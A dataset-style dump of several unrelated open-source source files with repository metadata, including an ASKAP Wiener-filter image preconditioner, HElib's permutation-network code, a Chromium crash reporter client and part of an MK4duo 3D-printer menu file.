RPU_FATAL("PulseType not supported"); } return coincidences_; } template <typename T> bool DenseBitLineMaker<T>::supports(RPU::PulseType pulse_type) const { return PulseType::MeanCount == pulse_type; } template <typename T> void DenseBitLineMaker<T>::printCounts(int max_n) const { if (!containers_allocated_) { RPU_FATAL("Containter not yet allocated"); } std::cout << "\n\nX_counts:\n"; for (int k = 0; k < MIN(x_size_, max_n); k++) { std::cout << x_counts_[k] << ", "; } std::cout << "\n\nD_counts:\n"; for (int k = 0; k < MIN(d_size_, max_n); k++) { std::cout << d_counts_[k] << ", "; } std::cout << std::endl; } template class DenseBitLineMaker<float>; #ifdef RPU_USE_DOUBLE template class DenseBitLineMaker<double>; #endif } // namespace RPU
24.918728
98
0.652155
filemaster
590e09854eb8bb133a4f83dd90fb3162de139a87
5,300
cc
C++
Code/Components/Synthesis/synthesis/current/measurementequation/NormWienerPreconditioner.cc
rtobar/askapsoft
6bae06071d7d24f41abe3f2b7f9ee06cb0a9445e
[ "BSL-1.0", "Apache-2.0", "OpenSSL" ]
1
2020-06-18T08:37:43.000Z
2020-06-18T08:37:43.000Z
Code/Components/Synthesis/synthesis/current/measurementequation/NormWienerPreconditioner.cc
ATNF/askapsoft
d839c052d5c62ad8a511e58cd4b6548491a6006f
[ "BSL-1.0", "Apache-2.0", "OpenSSL" ]
null
null
null
Code/Components/Synthesis/synthesis/current/measurementequation/NormWienerPreconditioner.cc
ATNF/askapsoft
d839c052d5c62ad8a511e58cd4b6548491a6006f
[ "BSL-1.0", "Apache-2.0", "OpenSSL" ]
null
null
null
/// @copyright (c) 2007 CSIRO /// Australia Telescope National Facility (ATNF) /// Commonwealth Scientific and Industrial Research Organisation (CSIRO) /// PO Box 76, Epping NSW 1710, Australia /// atnf-enquiries@csiro.au /// /// This file is part of the ASKAP software distribution. /// /// The ASKAP software distribution is free software: you can redistribute it /// and/or modify it under the terms of the GNU General Public License as /// published by the Free Software Foundation; either version 2 of the License, /// or (at your option) any later version. /// /// This program is distributed in the hope that it will be useful, /// but WITHOUT ANY WARRANTY; without even the implied warranty of /// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the /// GNU General Public License for more details. /// /// You should have received a copy of the GNU General Public License /// along with this program; if not, write to the Free Software /// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA /// #include <measurementequation/NormWienerPreconditioner.h> #include <askap_synthesis.h> #include <askap/AskapLogging.h> ASKAP_LOGGER(logger, ".measurementequation.normwienerpreconditioner"); #include <askap/AskapError.h> #include <measurementequation/SynthesisParamsHelper.h> #include <utils/PaddingUtils.h> #include <profile/AskapProfiler.h> #include <casacore/casa/aips.h> #include <casacore/casa/Arrays/Array.h> #include <casacore/casa/Arrays/ArrayMath.h> #include <casacore/casa/Arrays/Matrix.h> #include <casacore/casa/Arrays/MatrixMath.h> #include <casacore/casa/Arrays/Vector.h> #include <casacore/lattices/Lattices/SubLattice.h> #include <casacore/lattices/Lattices/ArrayLattice.h> #include <casacore/lattices/LatticeMath/LatticeFFT.h> #include <casacore/lattices/LEL/LatticeExpr.h> using namespace casa; #include <iostream> #include <cmath> using std::abs; namespace askap { namespace synthesis { NormWienerPreconditioner::NormWienerPreconditioner() : itsRobust(0.0) { } NormWienerPreconditioner::NormWienerPreconditioner(const float& noisepower) : itsRobust(noisepower) { } IImagePreconditioner::ShPtr NormWienerPreconditioner::clone() { return IImagePreconditioner::ShPtr(new NormWienerPreconditioner(*this)); } bool NormWienerPreconditioner::doPreconditioning(casa::Array<float>& psf, casa::Array<float>& dirty, casa::Array<float>& pcf) const { { ASKAPTRACE("NormWienerPreconditioner::doPreconditioning"); ASKAPLOG_INFO_STR(logger, "Applying Normalised Wiener filter with robustness parameter " << itsRobust); float maxPSFBefore=casa::max(psf); ASKAPLOG_INFO_STR(logger, "Peak of PSF before Normalised Wiener filtering = " << maxPSFBefore); casa::ArrayLattice<float> lpsf(psf); casa::ArrayLattice<float> ldirty(dirty); const casa::IPosition shape = lpsf.shape(); casa::ArrayLattice<casa::Complex> scratch(shape); //scratch.set(0.); scratch.copyData(casa::LatticeExpr<casa::Complex>(toComplex(lpsf))); LatticeFFT::cfft2d(scratch, True); // Construct a Wiener filter casa::ArrayLattice<casa::Complex> wienerfilter(shape); //wienerfilter.set(0.); // Normalize relative to the average weight const double noisepower(pow(10.0, 2*itsRobust)); const double np(noisepower*maxPSFBefore); wienerfilter.copyData(casa::LatticeExpr<casa::Complex>(maxPSFBefore*conj(scratch)/(real(scratch*conj(scratch)) + np*np))); // Apply the filter to the lpsf // (reuse the ft(lpsf) currently held in 'scratch') // need to rebuild ft(lpsf) with padding, otherwise there is a scaling error //scratch.set(0.); scratch.copyData(casa::LatticeExpr<casa::Complex>(toComplex(lpsf))); LatticeFFT::cfft2d(scratch, True); // scratch.copyData(casa::LatticeExpr<casa::Complex> (wienerfilter * scratch)); /* SynthesisParamsHelper::saveAsCasaImage("dbg.img",casa::amplitude(scratch.asArray())); //SynthesisParamsHelper::saveAsCasaImage("dbg.img",lpsf.asArray()); throw AskapError("This is a debug exception"); */ LatticeFFT::cfft2d(scratch, False); lpsf.copyData(casa::LatticeExpr<float>(real(scratch))); float maxPSFAfter=casa::max(psf); ASKAPLOG_INFO_STR(logger, "Peak of PSF after Normalised Wiener filtering = " << maxPSFAfter); psf*=maxPSFBefore/maxPSFAfter; ASKAPLOG_INFO_STR(logger, "Normalized to unit peak"); // Apply the filter to the dirty image //scratch.set(0.); scratch.copyData(casa::LatticeExpr<casa::Complex>(toComplex(ldirty))); LatticeFFT::cfft2d(scratch, True); scratch.copyData(casa::LatticeExpr<casa::Complex> (wienerfilter * scratch)); LatticeFFT::cfft2d(scratch, False); ldirty.copyData(casa::LatticeExpr<float>(real(scratch))); dirty*=maxPSFBefore/maxPSFAfter; return true; } } } }
36.054422
129
0.673019
rtobar
590fbbc29a6577b81fa544ca21977aed63372e58
8,862
cpp
C++
src/PermNetwork.cpp
patrick-schwarz/HElib
cd267e2ddc6e92886b89f3aa51c416d5c1d2dc59
[ "Apache-2.0" ]
1
2020-12-01T07:18:47.000Z
2020-12-01T07:18:47.000Z
src/PermNetwork.cpp
wangjinglin0721/HElib
cd267e2ddc6e92886b89f3aa51c416d5c1d2dc59
[ "Apache-2.0" ]
null
null
null
src/PermNetwork.cpp
wangjinglin0721/HElib
cd267e2ddc6e92886b89f3aa51c416d5c1d2dc59
[ "Apache-2.0" ]
null
null
null
/* Copyright (C) 2012-2019 IBM Corp. * This program is Licensed under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. See accompanying LICENSE file. */ #include <NTL/ZZ.h> #include "FHEContext.h" #include "Ctxt.h" #include "permutations.h" #include "EncryptedArray.h" namespace helib { std::ostream& operator<< (std::ostream &s, const PermNetwork &net) { s << "["; for (long i=0; i< net.layers.length(); i++) { const PermNetLayer& lyr = net.layers[i]; s << "[" << lyr.genIdx << " " << lyr.e << " " << lyr.isID << " " << lyr.shifts << "]\n"; } return s << "]"; } // Compute one or more layers corresponding to one network of one leaf void PermNetwork::setLayers4Leaf(long lyrIdx, const ColPerm& p, const NTL::Vec<long>& benesLvls, long gIdx, const SubDimension& leafData, const Permut& map2cube) { #ifdef DEBUG_PRINTOUT std::cerr << "Layer "<<lyrIdx<<", column-permutation="<< p << std::endl; #endif // Compute the shift amounts for all the layers in this network NTL::Vec<bool> isID; NTL::Vec<Permut> shifts; if (benesLvls.length()==1) {// Special case for a "trivial" 1-layer network shifts.SetLength(1); isID.SetLength(1); isID[0] = !p.getShiftAmounts(shifts[0]); } else // The general case of a multi-layer Benes network p.getBenesShiftAmounts(shifts,isID,benesLvls); // Copy the shift amounts to the right place in the bigger network, // renaming the slots from a linear array to the hyper cube for (long i=0; i<benesLvls.length(); i++) { PermNetLayer& lyr = layers[lyrIdx+i]; lyr.genIdx = gIdx; lyr.isID = isID[i]; lyr.e = leafData.e; if (!lyr.isID) { #ifdef DEBUG_PRINTOUT std::cerr << "layer "<<lyrIdx+i<<": "<<shifts[i]<<std::endl; #endif if (leafData.good) // For good leaves, shift by -x is the same as size-x for (long k=0; k<shifts[i].length(); k++) if (shifts[i][k]<0) shifts[i][k] += leafData.size; applyPermToVec(lyr.shifts, shifts[i], map2cube); // do the renaming #ifdef DEBUG_PRINTOUT std::cerr << " : "<<lyr.shifts<<std::endl; #endif } // else std::cerr << "layer "<<lyrIdx+i<<"= identity\n"; } } // Build a full permutation network void PermNetwork::buildNetwork(const Permut& pi, const GeneratorTrees& trees) { if (trees.numTrees()==0) { // the identity permutation, nothing to do layers.SetLength(0); return; } NTL::Vec<long> dims; trees.getCubeSubDims(dims); // std::cerr << "pi = "<<pi<<std::endl; // std::cerr << "map2cube ="<<trees.mapToCube()<<std::endl; // std::cerr << "map2array="<<trees.mapToArray()<<std::endl; // Compute the permutation on the cube, rho = map2cube o pi o map2array Permut rho; applyPermsToVec(rho, trees.mapToCube(), pi, trees.mapToArray()); // std::cerr << "rho = "<<rho<<std::endl; // Break rho along the different dimensions CubeSignature sig(dims); // make a cube-signature object std::vector<ColPerm> perms; breakPermByDim(perms, rho, sig); // for (long i=0; i<(long)perms.size(); i++) { // debugging printouts // Permut tmp; // perms[i].makeExplicit(tmp); // std::cerr << " prems["<<i<<"]="<<tmp<<std::endl; // } layers.SetLength(trees.numLayers()); // allocate space // Go over the different permutations and build the corresponding layers long dimIdx =0; long frntLyr=0, backLyr=layers.length(); for (long g=0; g<trees.numTrees(); g++) { // go over all the generators/trees const OneGeneratorTree &T = trees[g]; // In each tree, go over all the leaves for (long leaf=T.firstLeaf(); leaf>=0; leaf=T.nextLeaf(leaf)) { const SubDimension& leafData = T[leaf].getData(); // This leaf determines layers frntLyer...frntLey+frst.length()-1, and // if it isn't the middle then also backLyr-scnd.length()...backLyr-1 // handle the first Benes network setLayers4Leaf(/*1st-layer-index=*/frntLyr, /*permutation =*/perms[dimIdx], /*Benes levels =*/leafData.frstBenes, /*generator index=*/T.getAuxKey(), /*(size,good,e) =*/leafData, /*hypercube renaming permutation=*/trees.mapToCube()); frntLyr += leafData.frstBenes.length(); // how many layers were used dimIdx++; if (leafData.scndBenes.length()>0) { // Also a second Benes network long dimIdx2 = perms.size() -dimIdx; // dimIdx was incremented above backLyr -= leafData.scndBenes.length(); setLayers4Leaf(/*1st-layer-index=*/backLyr, /*permutation =*/perms[dimIdx2], /*Benes levels =*/leafData.scndBenes, /*generator index=*/T.getAuxKey(), /*(size,good,e) =*/leafData, /*hypercube renaming permutation=*/trees.mapToCube()); } } } } // Apply a permutation network to a hypercube, used mostly for debugging void PermNetwork::applyToCube(HyperCube<long>& cube) const { if (layers.length()==0) return; long n = cube.getSize(); NTL::Vec<long> tmp(NTL::INIT_SIZE, n); // temporary vector // Apply the layers, one at a time for (long i=0; i<layers.length(); i++) { const PermNetLayer& lyr = layers[i]; if (lyr.isID) continue; // this layer is the identity permutation //OLD: assert(lyr.shifts.length()==n); helib::assertEq(lyr.shifts.length(), n, "layer has incorrect size"); // This layer shift elements along the dimension lyr.genIdx long dim = lyr.genIdx; // Move elements as dictated by this layer for (long j=0; j<n; j++) { long shamt = lyr.e * lyr.shifts[j]; // how much to shift this slot if (shamt<0) shamt += cube.getDim(dim); // addCoord expects shamt>=0 long j2 = cube.addCoord(j, dim, shamt); // new index for this slot tmp[j2] = cube[j]; } // Copy back to cube for (long j=0; j<n; j++) cube[j] = tmp[j]; #ifdef DEBUG_PRINTOUT std::cerr << " after layer "<< i << ", cube=" << cube.getData()<<std::endl; #endif } } void PermNetwork::applyToPtxt(NTL::ZZX& p, const EncryptedArray& ea) const { throw helib::LogicError("PermNetwork::applyToPtxt is not implemented"); } // Upon return, mask[i]=1 if haystack[i]=needle, 0 otherwise. // Also set to 0 all the entries in haystack where mask[i]=1. // Return the index of the first nonzero entry in haystack at the end // of the pass (-1 if they are all zero). Also return a flag saying if // any entries of the mask are nonzero. static std::pair<long,bool> makeMask(std::vector<long>& mask, NTL::Vec<long>& haystack, long needle) { long found = false; long fstNonZeroIdx = -1; for (long i=0; i<(long)mask.size(); i++) { if (haystack[i] == needle) { // found a needle found = true; mask[i]=1; haystack[i]=0; // remove this needle from haystack } else { // no needle here mask[i]=0; if (haystack[i]!=0 && fstNonZeroIdx<0) fstNonZeroIdx = i; // first nonzero entry in haystack } } return std::make_pair(fstNonZeroIdx,found); } // Apply a permutation network to a ciphertext void PermNetwork::applyToCtxt(Ctxt& c, const EncryptedArray& ea) const { const PAlgebra& al = ea.getPAlgebra(); // Apply the layers, one at a time for (long i=0; i<layers.length(); i++) { const PermNetLayer& lyr = layers[i]; if (lyr.isID) continue; // this layer is the identity permutation // This layer is shifted via powers of g^e mod m long g2e = NTL::PowerMod(al.ZmStarGen(lyr.genIdx), lyr.e, al.getM()); NTL::Vec<long> unused = lyr.shifts; // copy to a new vector std::vector<long> mask(lyr.shifts.length()); // buffer to hold masks Ctxt sum(c.getPubKey(), c.getPtxtSpace()); // an empty ciphertext long shamt = 0; bool frst = true; while (true) { std::pair<long,bool> ret=makeMask(mask, unused, shamt); // compute mask if (ret.second) { // non-empty mask Ctxt tmp = c; NTL::ZZX maskPoly; ea.encode(maskPoly, mask); // encode mask as polynomial tmp.multByConstant(maskPoly); // multiply by mask if (shamt!=0) // rotate if the shift amount is nonzero tmp.smartAutomorph(NTL::PowerMod(g2e, shamt, al.getM())); if (frst) { sum = tmp; frst = false; } else sum += tmp; } if (ret.first >= 0) shamt = unused[ret.first]; // next shift amount to use else break; // unused is all-zero, done with this layer } c = sum; // update the cipehrtext c before the next layer } } }
34.889764
79
0.64297
patrick-schwarz
591353e23489271a980133264ed1585dd8da5e83
4,882
cc
C++
chrome/notification_helper/notification_helper_crash_reporter_client.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
chrome/notification_helper/notification_helper_crash_reporter_client.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
chrome/notification_helper/notification_helper_crash_reporter_client.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2021-01-05T23:43:46.000Z
2021-01-07T23:36:34.000Z
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/notification_helper/notification_helper_crash_reporter_client.h" #include <memory> #include "base/check.h" #include "base/debug/leak_annotations.h" #include "base/file_version_info.h" #include "base/notreached.h" #include "base/strings/utf_string_conversions.h" #include "chrome/common/chrome_version.h" #include "chrome/install_static/install_util.h" #include "chrome/install_static/user_data_dir.h" #include "components/crash/core/app/crashpad.h" #include "components/version_info/channel.h" NotificationHelperCrashReporterClient::NotificationHelperCrashReporterClient() = default; NotificationHelperCrashReporterClient:: ~NotificationHelperCrashReporterClient() = default; // static void NotificationHelperCrashReporterClient:: InitializeCrashReportingForProcessWithHandler( const base::FilePath& exe_path) { DCHECK(!exe_path.empty()); static NotificationHelperCrashReporterClient* instance = nullptr; if (instance) return; instance = new NotificationHelperCrashReporterClient(); ANNOTATE_LEAKING_OBJECT_PTR(instance); crash_reporter::SetCrashReporterClient(instance); base::string16 user_data_dir; install_static::GetUserDataDirectory(&user_data_dir, nullptr); crash_reporter::InitializeCrashpadWithEmbeddedHandler( true, "notification-helper", install_static::UTF16ToUTF8(user_data_dir), exe_path); } bool NotificationHelperCrashReporterClient::ShouldCreatePipeName( const base::string16& process_type) { return true; } bool NotificationHelperCrashReporterClient::GetAlternativeCrashDumpLocation( base::string16* crash_dir) { return false; } void NotificationHelperCrashReporterClient::GetProductNameAndVersion( const base::string16& exe_path, base::string16* product_name, base::string16* version, base::string16* special_build, base::string16* channel_name) { // Report crashes under the same product name as the browser. This string // MUST match server-side configuration. *product_name = base::ASCIIToUTF16(PRODUCT_SHORTNAME_STRING); std::unique_ptr<FileVersionInfo> version_info( FileVersionInfo::CreateFileVersionInfo(base::FilePath(exe_path))); if (version_info) { *version = version_info->product_version(); *special_build = version_info->special_build(); } else { *version = L"0.0.0.0-devel"; *special_build = L""; } *channel_name = install_static::GetChromeChannelName(); } bool NotificationHelperCrashReporterClient::ShouldShowRestartDialog( base::string16* title, base::string16* message, bool* is_rtl_locale) { // There is no UX associated with notification_helper, so no dialog should be // shown. return false; } bool NotificationHelperCrashReporterClient::AboutToRestart() { // The notification_helper should never be restarted after a crash. return false; } bool NotificationHelperCrashReporterClient::GetIsPerUserInstall() { return !install_static::IsSystemInstall(); } bool NotificationHelperCrashReporterClient::GetShouldDumpLargerDumps() { // Use large dumps for all but the stable channel. return install_static::GetChromeChannel() != version_info::Channel::STABLE; } int NotificationHelperCrashReporterClient::GetResultCodeRespawnFailed() { // The restart dialog is never shown for the notification_helper. NOTREACHED(); return 0; } bool NotificationHelperCrashReporterClient::GetCrashDumpLocation( base::string16* crash_dir) { *crash_dir = install_static::GetCrashDumpLocation(); return !crash_dir->empty(); } bool NotificationHelperCrashReporterClient::GetCrashMetricsLocation( base::string16* metrics_dir) { install_static::GetUserDataDirectory(metrics_dir, nullptr); return !metrics_dir->empty(); } bool NotificationHelperCrashReporterClient::IsRunningUnattended() { return install_static::HasEnvironmentVariable16(install_static::kHeadless); } bool NotificationHelperCrashReporterClient::GetCollectStatsConsent() { return install_static::GetCollectStatsConsent(); } bool NotificationHelperCrashReporterClient::GetCollectStatsInSample() { return install_static::GetCollectStatsInSample(); } bool NotificationHelperCrashReporterClient::ReportingIsEnforcedByPolicy( bool* enabled) { return install_static::ReportingIsEnforcedByPolicy(enabled); } bool NotificationHelperCrashReporterClient:: ShouldMonitorCrashHandlerExpensively() { // The expensive mechanism dedicates a process to be crashpad_handler's own // crashpad_handler. return false; } bool NotificationHelperCrashReporterClient::EnableBreakpadForProcess( const std::string& process_type) { // This is not used by Crashpad (at least on Windows). NOTREACHED(); return true; }
31.908497
81
0.785948
mghgroup
591573ae2b4b07b82625256973d1a0a936730162
31,861
cpp
C++
MK4duo/src/lcd/menu/menu_advanced.cpp
DapDeveloper/MK4duo
385fdcd3cda94e73396dd12f23ff570c86d2eab5
[ "RSA-MD" ]
null
null
null
MK4duo/src/lcd/menu/menu_advanced.cpp
DapDeveloper/MK4duo
385fdcd3cda94e73396dd12f23ff570c86d2eab5
[ "RSA-MD" ]
null
null
null
MK4duo/src/lcd/menu/menu_advanced.cpp
DapDeveloper/MK4duo
385fdcd3cda94e73396dd12f23ff570c86d2eab5
[ "RSA-MD" ]
null
null
null
/** * MK4duo Firmware for 3D Printer, Laser and CNC * * Based on Marlin, Sprinter and grbl * Copyright (C) 2011 Camiel Gubbels / Erik van der Zalm * Copyright (C) 2019 Alberto Cotronei @MagoKimbra * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ // // Advanced Settings Menus // #include "../../../MK4duo.h" #if HAS_LCD_MENU void menu_tmc(); #if ENABLED(WORKSPACE_OFFSETS) // // Set the home offset based on the current_position // void _lcd_set_home_offsets() { commands.enqueue_and_echo_P(PSTR("M428")); lcdui.return_to_status(); } #endif #if ENABLED(VOLUMETRIC_EXTRUSION) bool lcd_volumetric_enabled = printer.isVolumetric(); void lcd_set_volumetric() { printer.setVolumetric(lcd_volumetric_enabled); tools.calculate_volumetric_multipliers; } #endif #if ENABLED(VOLUMETRIC_EXTRUSION) || ENABLED(ADVANCED_PAUSE_FEATURE) // // Advanced Settings > Filament // void menu_advanced_filament() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); #if ENABLED(LIN_ADVANCE) MENU_ITEM_EDIT(float3, MSG_ADVANCE_K, &planner.extruder_advance_K, 0, 999); #endif #if ENABLED(VOLUMETRIC_EXTRUSION) lcd_volumetric_enabled = printer.isVolumetric(); MENU_ITEM_EDIT_CALLBACK(bool, MSG_VOLUMETRIC_ENABLED, &lcd_volumetric_enabled, lcd_set_volumetric); if (printer.isVolumetric()) { #if EXTRUDERS == 1 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM, &tools.filament_size[0], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #else // EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM, &tools.filament_size[tools.active_extruder], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E1, &tools.filament_size[0], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E2, &tools.filament_size[1], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E3, &tools.filament_size[2], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E4, &tools.filament_size[3], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E5, &tools.filament_size[4], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float43, MSG_FILAMENT_DIAM MSG_DIAM_E6, &tools.filament_size[5], 1.5f, 3.5f, tools.calculate_volumetric_multipliers); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #endif // EXTRUDERS > 1 } #endif // ENABLED(VOLUMETRIC_EXTRUSION) #if ENABLED(ADVANCED_PAUSE_FEATURE) constexpr float extrude_maxlength = #if ENABLED(PREVENT_LENGTHY_EXTRUDE) EXTRUDE_MAXLENGTH #else 999 #endif ; #if EXTRUDERS == 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD, &advancedpause.data[0].unload_length, 0, extrude_maxlength); #else // EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD, &advancedpause.data[tools.active_extruder].unload_length, 0, extrude_maxlength); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E1, &advancedpause.data[0].unload_length, 0, extrude_maxlength); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E2, &advancedpause.data[1].unload_length, 0, extrude_maxlength); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E3, &advancedpause.data[2].unload_length, 0, extrude_maxlength); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E4, &advancedpause.data[3].unload_length, 0, extrude_maxlength); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E5, &advancedpause.data[4].unload_length, 0, extrude_maxlength); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_UNLOAD MSG_DIAM_E6, &advancedpause.data[5].unload_length, 0, extrude_maxlength); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #endif // EXTRUDERS > 1 #if EXTRUDERS == 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD, &advancedpause.data[0].load_length, 0, extrude_maxlength); #else // EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD, &advancedpause.data[tools.active_extruder].load_length, 0, extrude_maxlength); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E1, &advancedpause.data[0].load_length, 0, extrude_maxlength); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E2, &advancedpause.data[1].load_length, 0, extrude_maxlength); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E3, &advancedpause.data[2].load_length, 0, extrude_maxlength); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E4, &advancedpause.data[3].load_length, 0, extrude_maxlength); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E5, &advancedpause.data[4].load_length, 0, extrude_maxlength); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_FILAMENT_LOAD MSG_DIAM_E6, &advancedpause.data[5].load_length, 0, extrude_maxlength); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #endif // EXTRUDERS > 1 #endif END_MENU(); } #endif // ENABLED(VOLUMETRIC_EXTRUSION) || ENABLED(ADVANCED_PAUSE_FEATURE) // // Advanced Settings > Temperature helpers // #if ENABLED(PID_AUTOTUNE_MENU) #if HOTENDS > 0 int16_t autotune_temp[HOTENDS] = ARRAY_BY_HOTENDS(200); #endif #if BEDS > 0 int16_t autotune_temp_bed[BEDS] = ARRAY_BY_BEDS(60); #endif #if CHAMBERS > 0 int16_t autotune_temp_chambers[CHAMBERS] = ARRAY_BY_CHAMBERS(60); #endif #if HOTENDS > 0 void _lcd_autotune(const int8_t h) { char cmd[30]; sprintf_P(cmd, PSTR("M303 U1 H%i S%i"), h, autotune_temp[h]); lcd_enqueue_command(cmd); } #endif #if BEDS > 0 void _lcd_autotune_bed(const int8_t t) { char cmd[30]; sprintf_P(cmd, PSTR("M303 U1 H-1 T%i S%i"), t, autotune_temp_bed[t]); lcd_enqueue_command(cmd); } #endif #if CHAMBERS > 0 void _lcd_autotune_chamber(const int8_t t) { char cmd[30]; sprintf_P(cmd, PSTR("M303 U1 H-2 T%i S%i"), t, autotune_temp_chambers[t]); lcd_enqueue_command(cmd); } #endif #endif //PID_AUTOTUNE_MENU #define _DEFINE_PIDTEMP_BASE_FUNCS(N) void updatePID_H ## N() { hotends[N].pid.update(); } #define _DEFINE_BED_PIDTEMP_BASE_FUNCS(N) void updatePID_BED ## N() { beds[N].pid.update(); } #define _DEFINE_CHAMBER_PIDTEMP_BASE_FUNCS(N) void updatePID_CHAMBER ## N() { chambers[N].pid.update(); } #if ENABLED(PID_AUTOTUNE_MENU) #if HOTENDS > 0 #define DEFINE_PIDTEMP_FUNCS(N) \ _DEFINE_PIDTEMP_BASE_FUNCS(N); \ void lcd_autotune_callback_H ## N() { _lcd_autotune(N); } #endif #if BEDS > 0 #define DEFINE_PIDBED_FUNCS(N) \ _DEFINE_BED_PIDTEMP_BASE_FUNCS(N); \ void lcd_autotune_callback_BED ## N() { _lcd_autotune_bed(N); } #endif #if CHAMBERS > 0 #define DEFINE_PIDCHAMBER_FUNCS(N) \ _DEFINE_CHAMBER_PIDTEMP_BASE_FUNCS(N); \ void lcd_autotune_callback_CHAMBER ## N() { _lcd_autotune_chamber(N); } #endif #else #if HOTENDS > 0 #define DEFINE_PIDTEMP_FUNCS(N) _DEFINE_PIDTEMP_BASE_FUNCS(N) #endif #if BEDS > 0 #define DEFINE_PIDBED_FUNCS(N) _DEFINE_BED_PIDTEMP_BASE_FUNCS(N) #endif #if CHAMBERS > 0 #define DEFINE_PIDCHAMBER_FUNCS(N) _DEFINE_CHAMBER_PIDTEMP_BASE_FUNCS(N) #endif #endif #if HOTENDS > 0 DEFINE_PIDTEMP_FUNCS(0); #if HOTENDS > 1 DEFINE_PIDTEMP_FUNCS(1); #if HOTENDS > 2 DEFINE_PIDTEMP_FUNCS(2); #if HOTENDS > 3 DEFINE_PIDTEMP_FUNCS(3); #if HOTENDS > 4 DEFINE_PIDTEMP_FUNCS(4); #if HOTENDS > 5 DEFINE_PIDTEMP_FUNCS(5); #endif // HOTENDS > 5 #endif // HOTENDS > 4 #endif // HOTENDS > 3 #endif // HOTENDS > 2 #endif // HOTENDS > 1 #endif // HOTENDS > 0 #if BEDS > 0 DEFINE_PIDBED_FUNCS(0); #if BEDS > 1 DEFINE_PIDBED_FUNCS(1); #if BEDS > 2 DEFINE_PIDBED_FUNCS(2); #if BEDS > 3 DEFINE_PIDBED_FUNCS(3); #endif // BEDS > 3 #endif // BEDS > 2 #endif // BEDS > 1 #endif // BEDS > 0 #if CHAMBERS > 0 DEFINE_PIDCHAMBER_FUNCS(0); #if 